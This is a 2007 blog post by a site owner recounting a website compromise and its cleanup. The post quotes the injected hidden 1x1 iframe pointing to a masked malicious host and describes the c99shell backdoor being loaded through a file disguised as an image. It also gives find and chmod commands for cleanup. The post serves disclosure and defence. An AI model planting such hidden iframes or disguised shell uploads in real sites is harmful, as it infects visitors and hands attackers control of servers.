| Got hacked... |
|
|
| Wednesday, 20 June 2007 19:54 | ||||||||||||
Everything has started with an email
The "virus" Trojan-Downloader.JS. seems like a malicious javascript inline somewhere in my homepage Thanks to Firefox WebDeveloper toolbar, it was quite easy to locate the malicious script (View all javascript) The Hacker was inserting 2 strange line in my content. He has tampered:
index.php// displays queries performed for page<iframe width='1' height='1' border='0' frameborder='0' src='http://xxxx.info/stds/go.php?sid=3'></iframe> AND /index2.php <html xmlns="http://www.w3.org/1999/xhtml">Which got replace at runtime with http://xxx.info/stds/pages/default.php http://xxxxxxx.info/c/2380/counter21.php xxxxx.info I dont want to
make publicity to this hacker by publishing his server url hereHow to find all place potentialy infected? return a list of all files with path (-H) that contains the substring xxxxx# find . -type f -exec grep -H xxxxx {} \;How did I get infected? It seems that the hacker has use my demo site at demo.waltercedric.com to copy an image on the server or replace an existing one which was having bad user rights It may be an image like this one runme.php.jpg this image then bootstrap and load a hacker tool c99shell (also known as PHP/C99Shell.A or Backdoor.PHP.C99Shell.c) PHP/C99Shell-A is a backdoor Trojan for platforms with PHP support, such as web servers. PHP/C99Shell-A listens for commands from a remote user. How to avoid that next time No file in apache root must have more than r--r--r-- rights so here is a small scripts that you can crontab or save for periodically check. It automatically change all files to read only for all, group and other Joomla! is automating during file save the CHMOD, but not on all files in the structure. Avoid any files with setguid in your apache root # find . -type f -perm 600 -exec chmod ago=r {} \;
Powered by !JoomlaComment 3.20
3.20 Copyright (C) 2007 Alain Georgette / Copyright (C) 2006 Frantisek Hliva. All rights reserved."
|
||||||||||||
| Another articles: |
|---|
|


























Anyone has a tutorial for developing ...
what type of antifreeze do i use in m...
css lessons - css scrollbar examples ...
SILLY
Now I can stand at the station watchi...